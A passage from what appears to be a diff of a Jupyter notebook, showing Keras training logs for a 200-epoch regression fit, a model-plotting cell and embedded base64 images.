23/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 335.8467 - mae: 335.8467\n", - "Epoch 24/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 334.4567 - mae: 334.4567\n", - "Epoch 25/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 333.0667 - mae: 333.0667\n", - "Epoch 26/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 331.6767 - mae: 331.6767\n", - "Epoch 27/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 330.2867 - mae: 330.2867\n", - "Epoch 28/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 328.8967 - mae: 328.8967\n", - "Epoch 29/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 327.5067 - mae: 327.5067\n", - "Epoch 30/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 326.1168 - mae: 326.1168\n", - "Epoch 31/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 324.7267 - mae: 324.7267\n", - "Epoch 32/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 323.3367 - mae: 323.3367\n", - "Epoch 33/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 321.9467 - mae: 321.9467\n", - "Epoch 34/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 320.5567 - mae: 320.5567\n", - "Epoch 35/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 319.1667 - mae: 319.1667\n", - "Epoch 36/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 317.7767 - mae: 317.7767\n", - "Epoch 37/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 316.3867 - mae: 316.3867\n", - "Epoch 38/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 314.9967 - mae: 314.9967\n", - "Epoch 39/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 313.6068 - mae: 313.6068\n", - "Epoch 40/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 312.2167 - mae: 312.2167\n", - "Epoch 41/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 310.8268 - mae: 310.8268\n", - "Epoch 42/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 309.4367 - mae: 309.4367\n", - "Epoch 43/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 308.0467 - mae: 308.0467\n", - "Epoch 44/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 306.6567 - mae: 306.6567\n", - "Epoch 45/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 305.2667 - mae: 305.2667\n", - "Epoch 46/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 303.8768 - mae: 303.8768\n", - "Epoch 47/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 302.4867 - mae: 302.4867\n", - "Epoch 48/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 301.0967 - mae: 301.0967\n", - "Epoch 49/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 299.7067 - mae: 299.7067\n", - "Epoch 50/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 298.3167 - mae: 298.3167\n", - "Epoch 51/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 296.9268 - mae: 296.9268\n", - "Epoch 52/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 295.5368 - mae: 295.5368\n", - "Epoch 53/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 294.1468 - mae: 294.1468\n", - "Epoch 54/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 292.7567 - mae: 292.7567\n", - "Epoch 55/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 291.3668 - mae: 291.3668\n", - "Epoch 56/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 289.9767 - mae: 289.9767\n", - "Epoch 57/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 288.5868 - mae: 288.5868\n", - "Epoch 58/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 287.1968 - mae: 287.1968\n", - "Epoch 59/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 285.8068 - mae: 285.8068\n", - "Epoch 60/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 284.4168 - mae: 284.4168\n", - "Epoch 61/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 283.0268 - mae: 283.0268\n", - "Epoch 62/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 281.6368 - mae: 281.6368\n", - "Epoch 63/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 280.2468 - mae: 280.2468\n", - "Epoch 64/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 278.8568 - mae: 278.8568\n", - "Epoch 65/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 277.4668 - mae: 277.4668\n", - "Epoch 66/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 276.0768 - mae: 276.0768\n", - "Epoch 67/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 274.6868 - mae: 274.6868\n", - "Epoch 68/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 273.2968 - mae: 273.2968\n", - "Epoch 69/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 271.9068 - mae: 271.9068\n", - "Epoch 70/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 270.5168 - mae: 270.5168\n", - "Epoch 71/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 269.1268 - mae: 269.1268\n", - "Epoch 72/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 267.7368 - mae: 267.7368\n", - "Epoch 73/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 266.3468 - mae: 266.3468\n", - "Epoch 74/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 264.9568 - mae: 264.9568\n", - "Epoch 75/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 263.5668 - mae: 263.5668\n", - "Epoch 76/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 262.1768 - mae: 262.1768\n", - "Epoch 77/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 260.7868 - mae: 260.7868\n", - "Epoch 78/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 259.3968 - mae: 259.3968\n", - "Epoch 79/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 258.0068 - mae: 258.0068\n", - "Epoch 80/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 256.6168 - mae: 256.6168\n", - "Epoch 81/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 255.2268 - mae: 255.2268\n", - "Epoch 82/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 253.8368 - mae: 253.8368\n", - "Epoch 83/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 252.4468 - mae: 252.4468\n", - "Epoch 84/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 251.0568 - mae: 251.0568\n", - "Epoch 85/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 5ms/step - loss: 249.6668 - mae: 249.6668\n", - "Epoch 86/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 248.2768 - mae: 248.2768\n", - "Epoch 87/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 246.8868 - mae: 246.8868\n", - "Epoch 88/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 245.4968 - mae: 245.4968\n", - "Epoch 89/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 244.1068 - mae: 244.1068\n", - "Epoch 90/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 242.7168 - mae: 242.7168\n", - "Epoch 91/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 241.3268 - mae: 241.3268\n", - "Epoch 92/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 239.9368 - mae: 239.9368\n", - "Epoch 93/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 238.5468 - mae: 238.5468\n", - "Epoch 94/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 237.1568 - mae: 237.1568\n", - "Epoch 95/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 235.7668 - mae: 235.7668\n", - "Epoch 96/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 234.3768 - mae: 234.3768\n", - "Epoch 97/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 232.9868 - mae: 232.9868\n", - "Epoch 98/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 231.5968 - mae: 231.5968\n", - "Epoch 99/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 230.2068 - mae: 230.2068\n", - "Epoch 100/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 228.8168 - mae: 228.8168\n", - "Epoch 101/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 227.4268 - mae: 227.4268\n", - "Epoch 102/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 226.0368 - mae: 226.0368\n", - "Epoch 103/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 224.6468 - mae: 224.6468\n", - "Epoch 104/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 223.2568 - mae: 223.2568\n", - "Epoch 105/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 221.8668 - mae: 221.8668\n", - "Epoch 106/200\n", - "1/1 [==============================] - 0s 9ms/step - loss: 220.4768 - mae: 220.4768\n", - "Epoch 107/200\n", - "1/1 [==============================] - 0s 13ms/step - loss: 219.0868 - mae: 219.0868\n", - "Epoch 108/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 217.6968 - mae: 217.6968\n", - "Epoch 109/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 216.3068 - mae: 216.3068\n", - "Epoch 110/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 214.9168 - mae: 214.9168\n", - "Epoch 111/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 213.5268 - mae: 213.5268\n", - "Epoch 112/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 212.1368 - mae: 212.1368\n", - "Epoch 113/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 210.7468 - mae: 210.7468\n", - "Epoch 114/200\n", - "1/1 [==============================] - 0s 10ms/step - loss: 209.3568 - mae: 209.3568\n", - "Epoch 115/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 207.9668 - mae: 207.9668\n", - "Epoch 116/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 206.5768 - mae: 206.5768\n", - "Epoch 117/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 205.1868 - mae: 205.1868\n", - "Epoch 118/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 203.7968 - mae: 203.7968\n", - "Epoch 119/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 202.4068 - mae: 202.4068\n", - "Epoch 120/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 201.0168 - mae: 201.0168\n", - "Epoch 121/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 199.6268 - mae: 199.6268\n", - "Epoch 122/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 198.2368 - mae: 198.2368\n", - "Epoch 123/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 196.8468 - mae: 196.8468\n", - "Epoch 124/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 195.4568 - mae: 195.4568\n", - "Epoch 125/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 194.0668 - mae: 194.0668\n", - "Epoch 126/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 192.6768 - mae: 192.6768\n", - "Epoch 127/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 191.2868 - mae: 191.2868\n", - "Epoch 128/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 189.8969 - mae: 189.8969\n", - "Epoch 129/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 188.5069 - mae: 188.5069\n", - "Epoch 130/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 187.1169 - mae: 187.1169\n", - "Epoch 131/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 185.7269 - mae: 185.7269\n", - "Epoch 132/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 184.3369 - mae: 184.3369\n", - "Epoch 133/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 182.9469 - mae: 182.9469\n", - "Epoch 134/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 181.5569 - mae: 181.5569\n", - "Epoch 135/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 180.1669 - mae: 180.1669\n", - "Epoch 136/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 178.7769 - mae: 178.7769\n", - "Epoch 137/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 177.3869 - mae: 177.3869\n", - "Epoch 138/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 175.9969 - mae: 175.9969\n", - "Epoch 139/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 174.6069 - mae: 174.6069\n", - "Epoch 140/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 173.2169 - mae: 173.2169\n", - "Epoch 141/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 171.8269 - mae: 171.8269\n", - "Epoch 142/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 170.4369 - mae: 170.4369\n", - "Epoch 143/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 169.0469 - mae: 169.0469\n", - "Epoch 144/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 167.6569 - mae: 167.6569\n", - "Epoch 145/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 166.2669 - mae: 166.2669\n", - "Epoch 146/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 164.8769 - mae: 164.8769\n", - "Epoch 147/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 163.4869 - mae: 163.4869\n", - "Epoch 148/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 162.0968 - mae: 162.0968\n", - "Epoch 149/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 160.7069 - mae: 160.7069\n", - "Epoch 150/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 159.3169 - mae: 159.3169\n", - "Epoch 151/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 157.9268 - mae: 157.9268\n", - "Epoch 152/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 156.5369 - mae: 156.5369\n", - "Epoch 153/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 155.1469 - mae: 155.1469\n", - "Epoch 154/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 153.7569 - mae: 153.7569\n", - "Epoch 155/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 152.3669 - mae: 152.3669\n", - "Epoch 156/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 150.9769 - mae: 150.9769\n", - "Epoch 157/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 149.5869 - mae: 149.5869\n", - "Epoch 158/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 148.1969 - mae: 148.1969\n", - "Epoch 159/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 146.8069 - mae: 146.8069\n", - "Epoch 160/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 145.4169 - mae: 145.4169\n", - "Epoch 161/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 144.0269 - mae: 144.0269\n", - "Epoch 162/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 142.6369 - mae: 142.6369\n", - "Epoch 163/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 141.2469 - mae: 141.2469\n", - "Epoch 164/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 139.8569 - mae: 139.8569\n", - "Epoch 165/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 138.4669 - mae: 138.4669\n", - "Epoch 166/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.0769 - mae: 137.0769\n", - "Epoch 167/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 135.6869 - mae: 135.6869\n", - "Epoch 168/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 134.2969 - mae: 134.2969\n", - "Epoch 169/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 132.9069 - mae: 132.9069\n", - "Epoch 170/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 131.5169 - mae: 131.5169\n", - "Epoch 171/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 130.1269 - mae: 130.1269\n", - "Epoch 172/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 128.7369 - mae: 128.7369\n", - "Epoch 173/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 127.3469 - mae: 127.3469\n", - "Epoch 174/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 125.9569 - mae: 125.9569\n", - "Epoch 175/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.5669 - mae: 124.5669\n", - "Epoch 176/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 123.1769 - mae: 123.1769\n", - "Epoch 177/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 121.7869 - mae: 121.7869\n", - "Epoch 178/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 120.3969 - mae: 120.3969\n", - "Epoch 179/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 119.0069 - mae: 119.0069\n", - "Epoch 180/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 117.6169 - mae: 117.6169\n", - "Epoch 181/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 116.2269 - mae: 116.2269\n", - "Epoch 182/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 114.8369 - mae: 114.8369\n", - "Epoch 183/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 113.4469 - mae: 113.4469\n", - "Epoch 184/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 112.0569 - mae: 112.0569\n", - "Epoch 185/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 110.6669 - mae: 110.6669\n", - "Epoch 186/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 109.2769 - mae: 109.2769\n", - "Epoch 187/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 107.8869 - mae: 107.8869\n", - "Epoch 188/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 106.4969 - mae: 106.4969\n", - "Epoch 189/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 105.1069 - mae: 105.1069\n", - "Epoch 190/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 103.7169 - mae: 103.7169\n", - "Epoch 191/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 102.3269 - mae: 102.3269\n", - "Epoch 192/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 100.9369 - mae: 100.9369\n", - "Epoch 193/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 99.5469 - mae: 99.5469\n", - "Epoch 194/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 98.1569 - mae: 98.1569\n", - "Epoch 195/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 96.7669 - mae: 96.7669\n", - "Epoch 196/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 95.3769 - mae: 95.3769\n", - "Epoch 197/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 93.9869 - mae: 93.9869\n", - "Epoch 198/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 92.5969 - mae: 92.5969\n", - "Epoch 199/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 91.2069 - mae: 91.2069\n", - "Epoch 200/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 89.8169 - mae: 89.8169\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 46, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=200, verbose=1) # epochs = oppurtuinity # verbose=0 for not showing the loss in output" - ] - }, - { - "cell_type": "code", - "execution_count": 47, - "id": "26ce8333", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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\n", - "text/plain": [ - "" - ] - }, - "execution_count": 47, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "## Plotting the model ###\n", - "from tensorflow.keras.utils import plot_model\n", - "plot_model(model=model)" - ] - }, - { - "cell_type": "code", - "execution_count": 48, - "id": "82c29873", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": 